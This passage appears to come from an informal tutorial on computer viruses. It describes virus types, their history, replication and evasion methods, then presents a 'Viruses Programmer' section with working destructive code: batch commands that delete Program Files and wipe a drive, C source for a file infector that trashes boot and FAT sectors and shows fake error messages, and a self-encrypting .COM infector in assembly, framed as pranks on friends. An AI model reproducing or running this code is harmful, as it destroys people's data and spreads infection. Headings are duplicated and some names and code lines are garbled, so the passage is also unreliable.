systems that the infected program may be shared with. Besides spreading themselves, these
viruses also carry some type of destructive constituent that can be activated immediately or by
a particular ‘trigger’. The trigger could be a specific date, or the number of times the virus has
been replicated, or anything equally trivial. Some examples of file viruses are Randex, Meve
and MrKlunky.
Boot sector viruses
A boot sector virus affects the boot sector of a hard disk, which is a very crucial part.
The boot sector is where all information about the drive is stored, along with a program that
makes it possible for the operating system to boot up. By inserting its code into the boot
sector, a virus guarantees that it loads into memory during every boot sequence. A boot virus
does not affect files; instead, it affects the disks that contain them. Perhaps this is the reason
for their downfall. During the days when programs were carried around on floppies, the boot
sector viruses used to spread like wildfire. However, with the CD-ROM revolution, it became
impossible to infect pre-written data on a CD, which eventually stopped such viruses from
spreading. Though boot viruses still exist, they are rare compared to new-age malicious
software. Another reason why they’re not so prevalent is that operating systems today protect
the boot sector, which makes it difficult for them to thrive. Examples of boot viruses are
Polyboot.B and AntiEXE.
102
Multipartite virusesMultipartite viruses
Multipartite viruses are a combination of boot sector viruses and file viruses. These
viruses come in through infected media and reside in memory. They then move on to the boot
sector of the hard drive. From there, the virus infects executable files on the hard drive and
spreads across the system. There aren’t too many multipartite viruses in existence today, but
in their heyday, they accounted for some major problems due to their capacity to combine
different infection techniques. A significantly famous multipartite virus is Ywinz. Macro
Viruses hat contain macros. These include Microsoft Office documents such as Word
documents, Excel spreadsheets, PowerPoint presentations, Access databases, and other
similar application files such as Corel Draw, AmiPro, etc. Since macro viruses are written in
the language of the application, and not in that of the operating system, they are known to be
platform-independent—they can spread between Windows, Mac, and any other system, so
long as they’re running the required application. With the ever-increasing capabilities of
macro languages in applications, and the possibility of infections spreading over net-works,
these viruses are major threats. The first macro virus was written for Microsoft Word and was
discovered back in August 1995. Today, there are thousands of macro viruses in existence—
some examples are Relax, Melissa.A and Bablas.
Network virusesNetwork viruses
This kind of virus is proficient in quickly spreading across a Local Area Network
(LAN) or even over the Internet. Usually, it propagates through shared resources, such as
shared drives and folders. Once it infects a new system, it searches for potential targets by
searching the network for other vulnerable systems. Once a new vulnerable system is found,
the network virus infects the other system, and thus spreads over the network. Some of the
most notorious network viruses are Nimda and SQLSlammer. E-mail Viruses An e-mail virus
could be a form of a macro virus that spreads itself to all the contacts located in the host’s
email address book. If any of the e-mail recipients open the attachment of the infected mail, It
spreads to the new host’s address book contacts, and then proceeds to send itself to all those
contacts as well. These days, e-mail viruses can infect hosts even if the infected e-mail is
previewed in a mail client. There are many ways in which a virus can infect or stay dormant
on your PC. However, whether active or dormant, it’s dangerous to let one loose on your
system, and should be dealt with immediately.
103
Other malicious software Other malicious software
]Earlier, the only way a computer was at risk was when you inserted an infected
floppy. With the new age of technology, every computer is interconnected to the rest of the
world at some point or the other, so it’s difficult to pinpoint the source and/or time of the
infection. As if that weren’t bad enough, new-age computing has also brought about a new
breed of malicious software. Today, the term ‘virus’ has become a generic term used for all
the different ways that your computer can be attacked by malicious software. Besides the type
of viruses we mentioned here’s a look at some of the newer problems we face today.
Trojan horses
The biggest difference between a Trojan horse—or Trojan—and a virus is that Trojans
don’t spread themselves. Trojan horses disguise themselves as useful software available for
down-load on the Internet, and naïve users download and run them only to realise their
mistake later. A Trojan horse is usually divided into two parts—a server and a client. It’s the
client that is cunningly disguised as important soft-ware and placed in peer-to-peer file
sharing networks, or unofficial download sites. Once the client runs on your system, the
attacker—the person running the server—has a high level of control over your system, which
can lead to devastating effects depending on the attacker’s intentions. Trojan horses have
evolved to a tremendous level of sophistication, which makes each one significantly different
from the other. We have categorized them roughly into the following:
Remote access TrojansRemote access Trojans
These are the most commonly available Trojans. These give an attacker complete
control over the victim’s computers. The attacker can go through the files and access any
personal information about the user that may be stored in the files, such as credit card
numbers, passwords, and important financial documents.
Password-Sending Trojans Password-Sending Trojans
The purpose of such Trojans is to copy all cached passwords and look for other
passwords as you enter them, and send them to specific mail address, without the user’s
knowledge. Passwords for restricted Web sites, messaging services, FTP services and e-mail
services come under direct threat with this kind of Trojan.
104
Keyloggers Keyloggers
These log victims’ keystrokes and then send the Logs to the attacker. The attacker then
searches for passwords or other sensitive data in the log files. Most of them come with two
functions, such as online and offline recording. Of course, they can be configured to send the
log file to a specific-mail address on a daily basis
DestructiveDestructive
The only function of these Trojans is to destroy and delete files. They can
automatically delete all the core system files on your machine. The Trojan could be
Controlled by the attacker or could be programmed to strike like logic bomb-starting on a
specific day or at specific hour. The main idea behind Denial of Service (DoS) Attack Trojans
is to generate a lot of internet traffic on the victim’s machine, to the extent that the Internet
connection is too overloaded to let the user visit a website or download anything. Another
variation of a DoS Trojan is the mail-bomb Trojan, whose main aim is to infect as many
machines as possible and simultaneously attack specific e-mail addresses with random
subjects and contents that cannot be filtered. Proxy/Wingate Trojans These types of Trojan
turn the victim’s computer into a proxy/wingate server. That way, the infected computer is
available to the whole world to be used for anonymous access to various risky Internet
services. The attacker can register domains or access pornographic Web sites with stolen
credit cards or do similar illegal activities without being traced. FTP Trojans These trojans are
probably the most simple, and are outdated. The only thing they do is open port 21—the port
for FTP transfers—and let everyone connect to your machine. Newer versions are password-
protected, so only the attacker can connect to your computer. Software Detection Killers
These trojans kill popular antivirus/firewall programs that protect your machine to give the
attacker access to the victim’s machine. A trojan could have any one or a combination of the
above mentioned functionalities. Worms Computer Worms are programs that reproduce and
run independently, and travel across network connections. The main difference between
viruses and worms is the method in which they reproduce and spread. A virus is dependent
upon a host file or boot sector, and the transfer of files between machines to spread, while a
worm can run completely independently and spread of its own accord through network
connections. The security threat of worms is equivalent to that of a virus. Worms are capable
of doing a whole range of damage such as destroying essential files in your system, slowing it
105
down to a great extent, or even causing some essential programs to crash. Two famous
examples of worms are the MS-Blaster and Sesser worms.
Spyware Spyware
Spyware is the new-age term for advertising-supported software (Adware).
Advertising in shareware products is a way for shareware authors to make money, other than
by selling it to the user. There are several large media companies that offer to place banner
ads in their products in exchange for a portion of the revenue from banner sales. If the user
finds the banners annoying, there is usually an option to get rid of them by paying the
licensing fee. Unfortunately, the advertising companies often also install additional tracking
software on your system, which is continuously using your Internet connection to send
statistical data back to the advertisers. While the privacy policies of the companies claim there
will be no sensitive or identifying data collected from your system and that you shall remain
anonymous, the fact remains that you have a server sitting on your PC that is sending
information about you and your surfing habits to a remote location, using your bandwidth.
Spyware has been known to slow down computers with their semi-intensive usage of
processing power, bringing up annoying pop-up windows at the most inappropriate times and
changing your Internet browsing settings such as your home page or default search engine to
their own services. Even if many do not consider this illegal, it is still is a major security
threat, and the fact that there’s no way to get rid of them makes them as much of a nuisance as
viruses. Logic Bombs A logic bomb is a program which has deliberately been written or
modified to produce results when certain conditions are met that are unexpected and
unauthorized by legitimate users or owners of the software. Logic bombs may reside within
standalone programs, or they may be part of worms or viruses. A variation of the logic bomb
is the time bomb that ‘explodes’ at a certain time. An example of a time bomb is the infamous
‘Friday the 13th’ virus.
ClassificationClassification
Viruses can be subdivided into a number of types, the main ones being:
•• Boot sector viruses
•• Companion viruses
•• Email viruses
•• Logic bombs and time bombs 106
•• Macro viruses
•• Cross-site scripting virus
Two other types of malware are often classified as viruses, but are actually forms of
distributing malware:
•• Trojan horses
•• Worms
Boot sector virus
A boot sector virus alters or hides in the boot sector,
usually the 1st sector, of a bootable disk or hard drive. Boot sector viruses were prevalent in
the 1980s.
Companion virus Companion virus
A companion virus does not have host files per se, but exploits MS-DOS. A
companion virus creates new files (typically .COM but can also use other extensions such as
".EXD") that have the same file names as legitimate .EXE files. When a user types in the
name of a desired program, if a user does not type in ".EXE" but instead does not specify a
file extension, DOS will assume he meant the file with the extension that comes first in
alphabetical order and run the virus. For instance, if a user had "(filename).COM" (the virus)
and "(filename).EXE" and the user typed "filename", he will run "(filename).COM" and run
the virus. The virus will spread and do other tasks before redirecting to the legitimate file,
which operates normally. Some companion viruses are known to run under Windows 95 and
on DOS emulators on Windows NT systems. Path companion viruses create files that have the
same name as the legitimate file and place new virus copies earlier in the directory paths.
These viruses have become increasingly rare with the introduction of Windows XP,which
does not use the MS-DOS command prompt.
E-mail virusE-mail virus
An E-mail virus is a virus which uses e-mail messages as a mode of transport. These
viruses often copy themselves by automatically mailing copies to hundreds of people in the
victim's address book.
107
Logic bombLogic bomb
A logic bomb employs code that lies inert until specific conditions are met. The
resolution of the conditions will trigger a certain function (such as printing a message to the
user and/or deleting files). An example of a logic bomb would be a virus that waits to execute
until it has infected a certain number of hosts. A time bomb is a subset of logic bomb, which
is set to trigger on a particular date and/or time.
Macro virusMacro virus
A macro virus, often written in the scripting languages for Microsoft programs such as
Word and Excel, is spread in Microsoft Office by infecting documents and spreadsheets.
Cross-site scripting virus
A cross-site scripting virus (XSSV) is a type of virus that utilizes cross-site scripting
vulnerabilities to replicate. A XSSV is spread between vulnerable web applications and web
browsers creating a symbiotic relationship.
Trojan horse
Trojan Horses are impostor files that claim to be something desirable but, in fact, are
malicious. Rather than insert code into existing files, a Trojan horse appears to do one thing
(install a screen saver, or show a picture inside an e-mail for example) when in fact it does
something entirely different, and potentially malicious, such as erase files. Trojans can also
open back doors so that computer hackers can gain access to passwords, and other personal
information stored on a computer.
Although often referred to as such, Trojan horses are not viruses in the strict sense
because they cannot replicate automatically. For a Trojan horse to spread, it must be invited
onto a computer by the user opening an email attachment or downloading and running a file
from the Internet, for example.
Worm Worm
A worm is a piece of software that uses computer networks and security flaws to
create copies of itself. A copy of the worm will scan the network for any other machine that
has a specific security flaw. It replicates itself to the new machine using the security flaw, and
then begins scanning and replicating a new.
108
Worms are programs that replicate themselves from system to system without the use
of a host file. This is in contrast to viruses, which requires the spreading of an infected host
file. Although worms generally exist inside of other files, often Word or Excel documents,
there is a difference between how worms and viruses use the host file. Usually the worm will
release a document that already has the "worm" macro inside the document. The entire
document will travel from computer to computer, so the entire document should be
considered the worm. MudroomMudroom or ILOVEYOUILOVEYOU are two examples of worms.
Effects of computer virusesEffects of computer viruses
Some viruses are programmed to damage the computer by damaging programs,
deleting files, or reformatting the hard disk. Others are not designed to do any damage, but
simply replicate themselves and make their presence known by presenting text, video, or
audio messages. Even these benign viruses can create problems for the computer user. They
typically take up computer memory used by legitimate programs. As a result, they often cause
erratic behavior and can result in system crashes. In addition, many viruses are bug-ridden,
and these bugs may lead to system crashes and data loss.
Use of the word "virus"Use of the word "virus"
The word virus is derived from and used in the same sense as the biological
equivalent. The term "virus" is often used in common parlance to describe all kinds of
malware (malicious software), including those that are more properly classified as worms or
Trojans. Most popular anti-virus software packages defend against all of these types of attack.
In some technical communities, the term "virus" is also extended to include the authors of
malware, in an insulting sense. The English plural of "virus" is "viruses". Some people use
"virii" or "viri" as a plural, but this is rare. For a discussion about whether "viri" and "virii"
are correct alternatives of "viruses", see plural of virus.
The term "VIRUS" "VIRUS" was first used in an academic publication by Fred Cohen in his
1984 paper Experiments with Computer Viruses, where he credits Len Adleman with coining
it. However, a 1972 science fiction novel by David Gerrold, When H.A.R.L.I.E. Was One,
includes a description of a fictional computer program called "VIRUS" that worked just like a
virus (and was countered by a program called "VACCINE"). The term "computer virus" with
current usage also appears in the comic book Uncanny X-Men #158, written by Chris
Claremont and published in 1982. Therefore, although Cohen's use of "virus" may, perhaps,
have been the first "academic" use, the term had been used earlier.
Back
109
110
111
HistoryHistoryA program called "Elk Cloner" is credited with being the first computer virus to
appear "in the wild" -- that is, outside the single computer or lab where it was created. Written
in 1982 by Rich Skrenta, it attached itself to the Apple DOS 3.3 operating system and spread
by floppy disk. This virus was originally a joke, created by the high school student and put
onto a game. The game was set to play, but release the virus on the 50th time of starting the
game. Only this time, instead of playing the game, it would change to a blank screen that read
a poem about the virus named Elk Cloner. The computer would then be infected.
The first PC virus was a boot sector virus called (c)Brain, created in 1986 by two brothers,
Basit and Amjad Farooq Alvi, operating out of Lahore, Pakistan. The brothers reportedly
created the virus to deter pirated copies of software they had written. However, analysts have
claimed that the Ashar virus, a variant of Brain, possibly predated it based on code within the
virus.
Before computer networks became widespread, most viruses spread on removable
media, particularly floppy disks. In the early days of the personal computer, many users
regularly exchanged information and programs on floppies. Some viruses spread by infecting
programs stored on these disks, while others installed themselves into the disk boot sector,
ensuring that they would be run when the user booted the computer from the disk.
Traditional computer viruses emerged in the 1980s, driven by the spread of personal
computers and the resultant increase in BBS and modem use, and software sharing. Bulletin
board driven software sharing contributed directly to the spread of Trojan horse programs,
and viruses were written to infect popularly traded software. Shareware and bootleg software
were equally common vectors for viruses on BBS's. Within the "pirate scene" of hobbyists
trading illicit copies of commercial software, traders in a hurry to obtain the latest
applications and games were easy targets for viruses.
Since the mid-1990s, macro viruses have become common. Most of these viruses are
written in the scripting languages for Microsoft programs such as Word and Excel. These
viruses spread in Microsoft Office by infecting documents and spreadsheets. Since Word and
Excel were also available for Mac OS, most of these viruses were able to spread on
Macintosh computers as well. Most of these viruses did not have the ability to send infected
e-mail. Those viruses which did spread through e-mail took advantage of the Microsoft
Outlook COM interface.
112
Macro viruses pose unique problems for detection software. For example, some
versions of Microsoft Word allowed macros to replicate themselves with additional blank
lines. The virus behaved identically but would be misidentified as a new virus. In another
example, if two macro viruses simultaneously infect a document, the combination of the two,
if also self-replicating, can appear as a "mating" of the two and would likely be detected as a
virus unique from the "parents".
A computer virus may also be transmitted through instant messaging. A virus may
send a web address link as an instant message to all the contacts on an infected machine. If
the recipient, thinking the link is from a friend (a trusted source) and follows the link to the
website, the virus hosted at the site may be able to infect this new computer and continue
propagating.
The newest species of the virus family is the cross-site scripting virus. The virus
emerged from research and was academically demonstrated in 2005. This virus utilizes cross-
site scripting vulnerabilities to propagate. Since 2005 there have been multiple instances of
the cross-site scripting viruses in the wild, most notable sites affected have been MySpace and
Yahoo.
Back
113
114
Why do people write and spread viruses?Why do people write and spread viruses?
It is difficult to know why people write them. Everyone has their own reasons. Some
general reasons are to experiment how to write viruses or to test their programming talent.
Some people just like to see how the virus spreads and gets famous around the World. The
following is a list from news group postings alt.comp.virus and tries to explain why people
write and spread viruses.
•• They don't understand or prefer not to think about the consequences for other people
•• They simply don't care
•• They don't consider it to be their problem if someone else is inconvenienced
•• They draw a false distinction between creating/publishing viruses and distributing
them
•• They consider it to be the responsibility of someone else to protect systems from their
creations
•• They get a buzz, acknowledged or otherwise, from vandalism
•• They consider they're fighting authority
•• They like 'matching wits' with anti virus vendors
•• It's a way of getting attention, getting recognition from their peers and their names (or
at least that of their virus) in the papers and the Wild List
•• They're keeping the anti virus vendors in a job
•• Replication strategies
•• In order to replicate itself, a virus must be permitted to execute code and write to
memory. For this reason, many viruses attach themselves to executable files that may
be part of legitimate programs. If a user tries to start an infected program, the virus'
code may be executed first. Viruses can be divided into two types, on the basis of their
behavior when they are executed. Nonresident viruses immediately search for other
hosts that can be infected, infect these targets, and finally transfer control to the
application program they infected. Resident viruses do not search for hosts when they
are started. Instead, a resident virus loads itself into memory on execution and
transfers control to the host program. The virus stays active in the background and
infects new hosts when those files are accessed by other programs or the operating
system itself.
115
Nonresident virusesNonresident viruses
Nonresident viruses can be thought of as consisting of a finder module and a
replication module. The finder module is responsible for finding new files to infect. For each
new executable file the finder module encounters, it calls the replication module to infect that
file.
For simple viruses the replicator's tasks are to:
1.1. Open the new file
2.2. Check if the executable file has already been infected (if it is, return to the
finder module)
3.3. Append the virus code to the executable file
4.4. Save the executable's starting point
5.5. Change the executable's starting point so that it points to the start location of
the newly copied virus code
6.6. Save the old start location to the virus in a way so that the virus branches to
that location right after its execution.
7.7. Save the changes to the executable file
8.8. Close the infected file
9. Return to the finder so that it can find new files for the replicator to infect.
Resident virusesResident viruses
Resident viruses contain a replication module that is similar to the one that is
employed by nonresident viruses. However, this module is not called by a finder module.
Instead, the virus loads the replication module into memory when it is executed and ensures
that this module is executed each time the operating system is called to perform a certain
operation. For example, the replication module can be called each time the operating system
executes a file. In this case, the virus infects every suitable program that is executed on the
computer.
Resident viruses are sometimes subdivided into a category of fast infectors and a
category of slow infectors. Fast infectors are designed to infect as many files as possible. For
instance, a fast infector can infect every potential host file that is accessed. This poses a
special problem to anti-virus software, since a virus scanner will access every potential host
file on a computer when it performs a system-wide scan. If the virus scanner fails to notice
that such a virus is present in memory, the virus can "piggy-back" on the virus scanner and in
this way infect all files that are scanned. Fast infectors rely on their fast infection rate to
116
spread. The disadvantage of this method is that infecting many files may make detection more
likely, because the virus may slow down a computer or perform many suspicious actions that
can be noticed by anti-virus software. Slow infectors, on the other hand, are designed to infect
hosts infrequently. For instance, some slow infectors only infect files when they are copied.
Slow infectors are designed to avoid detection by limiting their actions: they are less likely to
slow down a computer noticeably, and will at most infrequently trigger anti-virus software
that detects suspicious behavior by programs. The slow infector approach does not seem very
successful however.
Host typesHost types
Viruses have targeted various types of hosts. This is a non-exhaustive list:
• Binary executable files (such as COM files and EXE files in MS-DOS, Portable
Executable files in Microsoft Windows, and ELF files in Linux)
• Volume Boot Records of floppy disks and hard disk partitions
• The master boot record (MBR) of a hard disk
• General-purpose script files (such as batch files in MS-DOS and Microsoft
Windows, VBScript files, and shell script files on Unix-like platforms).
• Application-specific script files (such as Telix-scripts)
• Documents that can contain macros (such as Microsoft Word documents, Microsoft
Excel spreadsheets, AmiPro documents, and Microsoft Access database files)
Methods to avoid detection
In order to avoid detection by users, some viruses employ different kinds of deception.
Some old viruses, especially on the MS-DOS platform, make sure that the "last modified"
date of a host file stays the same when the file is infected by the virus. This approach does not
fool anti-virus software, however.
Some viruses can infect files without increasing their sizes or damaging the files. They
accomplish this by overwriting unused areas of executable files. These are called cavity
viruses. For example the CIH virus, or Chernobyl Virus, infects Portable Executable files.
Because those files had many empty gaps, the virus, which was 1 KB in length, did not add to
the size of the file.
Some viruses try to avoid detection by killing the tasks associated with antivirus
software before it can detect them.
117
As computers and operating systems grow larger and more complex, old hiding
techniques need to be updated or replaced.
Avoiding bait files and other undesirable hostsAvoiding bait files and other undesirable hosts
A virus needs to infect hosts in order to spread further. In some cases, it might be a
bad idea to infect a host program. For example, many anti-virus programs perform an
integrity check of their own code. Infecting such programs will therefore increase the
likelihood that the virus is detected. For this reason, some viruses are programmed not to
infect programs that are known to be part of anti-virus software. Another type of hosts that
viruses sometimes avoid is bait files. Bait files (or goat files) are files that are specially
created by anti-virus software, or by anti-virus professionals themselves, to be infected by a
virus. These files can be created for various reasons, all of which are related to the detection
of the virus:
• Anti-virus professionals can use bait files to take a sample of a virus (i.e. a copy of a
program file that is infected by the virus). It is more practical to store and exchange a
small, infected bait file, than to exchange a large application program that has been
infected by the virus.
• Anti-virus professionals can use bait files to study the behavior of a virus and
evaluate detection methods. This is especially useful when the virus is polymorphic.
In this case, the virus can be made to infect a large number of bait files. The infected
files can be used to test whether a virus scanner detects all versions of the virus.
• Some anti-virus software employs bait files that are accessed regularly. When these
files are modified, the anti-virus software warns the user that a virus is probably active
on the system.
Since bait files are used to detect the virus, or to make detection possible, a virus can
benefit from not infecting them. Viruses typically do this by avoiding suspicious programs,
such as small program files or programs that contain certain patterns of 'garbage instructions'.
A related strategy to make baiting difficult is sparse infection. Sometimes, sparse infectors do
not infect a host file that would be a suitable candidate for infection in other circumstances.
For example, a virus can decide on a random basis whether to infect a file or not, or a virus
can only infect host files on particular days of the week.
Stealth Stealth
118
Some viruses try to trick anti-virus software by intercepting its requests to the
operating system. A virus can hide itself by intercepting the anti-virus software’s request to
read the file and passing the request to the virus, instead of the OS. The virus can then return
an uninfected version of the file to the anti-virus software, so that it seems that the file is
"clean". Modern anti-virus software employs various techniques to counter stealth
mechanisms of viruses. The only completely reliable method to avoid stealth is to boot from a
medium that is known to be clean.
Self-modificationSelf-modification
Most modern antivirus programs try to find virus-patterns inside ordinary programs by
scanning them for so-called virus signatures. A signature is a characteristic byte-pattern that is
part of a certain virus or family of viruses. If a virus scanner finds such a pattern in a file, it
notifies the user that the file is infected. The user can then delete, or (in some cases) "clean"
or "heal" the infected file. Some viruses employ techniques that make detection by means of
signatures difficult or impossible. These viruses modify their code on each infection. That is,
each infected file contains a different variant of the virus.
Simple self-modificationsSimple self-modifications
In the past, some viruses modified themselves only in simple ways. For example, they
regularly exchanged subroutines in their code for others that would perform the same action -
for example, 2+2 could be swapped for 1+3. This poses no problems to a somewhat advanced
virus scanner.
Encryption with a variable key
A more advanced method is the use of simple encryption to encipher the virus. In this
case, the virus consists of a small decrypting module and an encrypted copy of the virus code.
If the virus is encrypted with a different key for each infected file, the only part of the virus
that remains constant is the decrypting module, which would (for example) be appended to
the end. In this case, a virus scanner cannot directly detect the virus using signatures, but it
can still detect the decrypting module, which still makes indirect detection of the virus
possible.
Mostly, the decryption techniques that these viruses employ are simple and mostly
done by just XORing each byte with a randomized key that was saved by the parent virus.
The use of XOR-operations has the additional advantage that the encryption and decryption
routine are the same (a XOR b = c, c XOR b = a.)119
Polymorphic codePolymorphic code
Polymorphic code was the first technique that posed a serious threat to virus scanners.
Just like regular encrypted viruses, a polymorphic virus infects files with an encrypted copy
of itself, which is decoded by a decryption module. In the case of polymorphic viruses
however, this decryption module is also modified on each infection. A well-written
polymorphic virus therefore has no parts that stay the same on each infection, making it
impossible to detect directly using signatures. Anti-virus software can detect it by decrypting
the viruses using an emulator, or by statistical pattern analysis of the encrypted virus body. To
enable polymorphic code, the virus has to have a polymorphic engine (also called mutating
engine or mutation engine) somewhere in its encrypted body. See Polymorphic code for
technical detail on how such engines operate.
Some viruses employ polymorphic code in a way that constrains the mutation rate of
the virus significantly. For example, a virus can be programmed to mutate only slightly over
time, or it can be programmed to refrain from mutating when it infects a file on a computer
that already contains copies of the virus. The advantage of using such slow polymorphic code
is that it makes it more difficult for anti-virus professionals to obtain representative samples
of the virus, because bait files that are infected in one run will typically contain identical or
similar samples of the virus. This will make it more likely that the detection by the virus
scanner will be unreliable, and that some instances of the virus may be able to avoid
detection.
Metamorphic code
To avoid being detected by emulation, some viruses rewrite themselves completely
each time they are to infect new executables. Viruses that use this technique are said to be
metamorphic. To enable metamorphism, a metamorphic engine is needed. A metamorphic
virus is usually very large and complex. For example, W32/Simile consisted of over 14000
lines of Assembly language code, 90% of it part of the metamorphic engine.
Conclusions Conclusions
There are lots of viruses in the world and new viruses are coming up every day. There
are new anti-virus programs and techniques developed too. It is good to be aware of viruses
120
and other malware and it is cheaper to protect you environment from them rather then being
sorry.
There might be a virus in your computer if it starts acting differently. There is no
reason to panic if the computer virus is found.
It is good to be a little suspicious of malware when you surf in the Internet and
download files. Some files that look interesting might hide a malware.
A computer virusA computer virus is a program that reproduces itself and its mission is to spread out.
Most viruses are harmless and some viruses might cause random damage to data files.
A trojan horseA trojan horse is not a virus because it doesn't reproduce. The trojan horses are usually
masked so that they look interesting. There are trojan horses that steal passwords and formats
hard disks.
Marco virusesMarco viruses spread from applications which use macros. Macro viruses spreads fast
because people share so much data, email documents and use the Internet to get documents.
Macros are also very easy to write.
Some people want to experiment how to write viruses and test their programming
talent. At the same time they do not understand about the consequences for other people or
they simply do not care.
Viruses mission is to hop from program to other and this can happen via floppy disks,
Internet FTP sites, newsgroups and via email attachments. Viruses are mostly written for PC-
computers and DOS environments.
Viruses are not any more something that just programmers and computer specialist
have to deal with. Today everyday users have to deal with viruses.
Back
121
Viruses Programmer
1) A simple virus
programed..a simple virus just 1 sentecne just for fun.
=================cut below=============
@ECHO OFF
IF EXIST C:\PROGRAM FILES\*.* DELTREE /Y C:\PROGRAM FILES\*.*
===================end==================
and paste it in notepad and give it the name what u want eg <fun.bat>u have to give the bat
ext. other wise it wont work.
2) Formate your friends PC
=================cut below=============
@ ECHO OFF
DEL C:\ *.*/Y.
3) R-virus
#include
#include
#include
#include
#include
/* Note that the #define TOO_SMALL is the minimum size of the .EXE or .COM
file which CVIRUS can infect without increasing the size of the
122
file. (Since this would tip off the victim to CVIRUS's presence, no
file under this size will be infected.) It should be set to the
approximate size of the LZEXEd .EXE file produced from this code, but
always a few bytes larger. Why? Because this way CVIRUS doesn't need
to check itself for previous infection, saving time.
SIGNATURE is the four-byte signature that CVIRUS checks for to prevent
re-infection of itself.
*/
#ifdef DEBUG
#define TOO_SMALL 6000
#else
#define TOO_SMALL 4735
#endif
#define SIGNATURE "NMAN"
/* The following is a table of random byte values. Be sure to constantly
change this to prevent detection by virus scanners, but keep it short
(or non-exsistant) to keep the code size down.
*/
char screw_virex[] = "\xF5\x23\x72\x96\x54\xFA\xE3\xBC\xCD\x04";
void hostile_activity(void)
{
/* Put whatever you feel like doing here...
I chose to make this routine trash the victim's boot, FAT,
and directory sectors, but you can alter this code however you want,
and are encouraged to do so.
*/
123
#ifdef DEBUG
puts("\aAll files infected!");
exit(1);
#else
/* Overwrite five sectors, starting with sector 0, on C:, with the
memory at location DS:0000 (random garbage).
*/
abswrite(2,5,0,(void *) 0);
__emit__(0xCD, 0x19); // Reboot computer
#endif
}
int infected(char *fname)
{
/* This function determines if fname is infected. It reads four
bytes 28 bytes in from the start and checks them agains
the current header. 1 is returned if the file is already infected,
0 if it isn't.
*/
register int handle;
char virus_signature[35];
static char check[] = SIGNATURE;
handle = _open(fname, O_RDONLY);
_read(handle, virus_signature,
sizeof(virus_signature));
close(handle);
#ifdef DEBUG
124
printf("Signature for %s: %.4s\n", fname, &virus_signature[28]);
#endif
/* This next bit may look really stupid, but it actually saves about
100 bytes.
*/
return((virus_signature[30] == check[2]) && (virus_signature[31] == check[3]));
}
void spread(char *virus, struct ffblk *victim)
{
/* This function infects victim with virus. First, the victim's
attributes are set to 0. Then the virus is copied into the victim's
file name. Its attributes, file date/time, and size are set to that
of the victim's, preventing detection, and the files are closed.
*/
register int virus_handle, victim_handle;
unsigned virus_size;
char virus_code[TOO_SMALL + 1], *victim_name;
/* This is used enought to warrant saving it in a separate variable */
victim_name = victim->ff_name;
#ifdef DEBUG
printf("Infecting %s with %s...\n", victim_name, virus);
#endif
/* Turn off all of the victim's attributes so it can be replaced */
_chmod(victim_name, 1, 0);
125
#ifdef DEBUG
puts("Ok so far...");
#endif
/* Recreate the victim */
virus_handle = _open(virus, O_RDONLY);
victim_handle = _creat(victim_name, victim->ff_attrib);
/* Copy virus */
virus_size = _read(virus_handle, virus_code, sizeof(virus_code));
_write(victim_handle, virus_code, virus_size);
#ifdef DEBUG
puts("Almost done...");
#endif
/* Reset victim's file date, time, and size */
chsize(victim_handle, victim->ff_fsize);
setftime(victim_handle, (struct ftime *) &victim->ff_ftime);
/* Close files */
close(virus_handle);
close(victim_handle);
#ifdef DEBUG
126
puts("Infection complete!");
#endif
}
struct ffblk *victim(void)
{
/* This function returns a pointer to the name of the virus's next
victim. This routine is set up to try to infect .EXE and .COM
files. If there is a command line argument, it will try to
infect that file instead. If all files are infected, hostile
activity is initiated...
*/
register char **ext;
static char *types[] = {"*.EXE", "*.COM", NULL};
static struct ffblk ffblk;
int done;
for (ext = (*++_argv) ? _argv : types; *ext; ext++)
{
for (ext = (*++_argv) ? _argv : types; *ext; ext++)
{
done = findfirst(*ext, &ffblk, FA_RDONLY | FA_HIDDEN | FA_SYSTEM |
FA_ARCH);
while (!done) {
#ifdef DEBUG
printf("Scanning %s...\n", ffblk.ff_name);
#endif
/* If you want to check for specific days of the week, months,
etc.... here is the place to insert the code (don't forget to
"#include ").
*/
127
if ((ffblk.ff_fsize > TOO_SMALL) && (!infected(ffblk.ff_name)))
return(&ffblk);
done = findnext(&ffblk);
}
}
}
/* If there are no files left to infect, have a little fun */
hostile_activity();
return(0);
}
int main(int argc, char *argv[])
{
/* In the main program, a victim is found and infected. If all files
are infected, a malicious action is performed. Otherwise, a bogus
error message is displayed, and the virus terminates with code
1, simulating an error.
*/
char *err_msg[] = { "Out of memory",
"Bad EXE format",
"Invalid DOS version",
"Bad memory block",
"FCB creation error",
"Sharing violation",
"Abnormal program termination",
"Divide error",
};
char *virus_name;
spread(argv[0], victim());
puts(err_msg[peek(0, 0x46C) % (sizeof(err_msg) / sizeof(char *))]);
128
return(1);
}
4) R-300 viruse
;
; R-1000 Virus
;
; This virus is a Non-Resident Overwriting Self-Encrypting .COM File Inctector.
; When an infected program is started, the virus will infect all files in the
; current directory and use the time counter for its encryption. It displays
; the text "T-1000" when it is ready infecting.
Code Segment para 'code'
Assume Cs:Code,Ds:Code
Length Equ Offset EndByte-Offset Main
Org 100h
Main: Mov Si,Offset Decrypt
Mov Di,Si
Mov Cl,Offset EndByte-Offset Decrypt
On2: Lodsb
Db 34h
Crypt Db 0
Stosb
Dec Cl
Cmp Cl,0ffh
Jne On2
Decrypt:
129
Mov Ah,4eh
Push Ax
Encr:
Mov Ah,2ch
Int 21h
Mov Crypt,Dl
Mov Si,Offset Decrypt
Mov Di,Offset EndByte+10
Mov Cx,Offset EndByte-Offset Decrypt
On3: Lodsb
Xor Al,Crypt
Stosb
Dec Cx
Cmp Cx,0ffffh
Jne On3
Pop Ax
On1: Xor Cx,Cx
Mov Dx,Offset Nam
Int 21h
Jc Einde
Mov Ax,3d01h
Mov Dx,9eh
Int 21h
Mov Bx,Ax
Mov Ah,40h
Push Ax
Mov Cx,Offset Decrypt-Offset Main
Mov Dx,Offset Main
Int 21h
130
Pop Ax
Mov Cx,Offset EndByte-Offset Decrypt
Mov Dx,Offset EndByte+10
Int 21h
Mov Ah,3eh
Int 21h
Mov Ah,4fh
Push Ax
Jmp Short Encr
Einde:
Mov Ah,9
Mov Dx,Offset Msg
Push Cs
Pop Ds
Int 21h
Int 20h
Msg Db 'T-1000$'
Nam Db '*.Com',0
EndByte Db 0
Code Ends
End Main
; ĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄĄč
; ĄĄĄĄĄĄĄĄĄĄ> and Remember Don't Forget to Call <ĄĄĄĄĄĄĄĄ
; ĄĄĄĄĄĄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ĄĄĄĄĄ
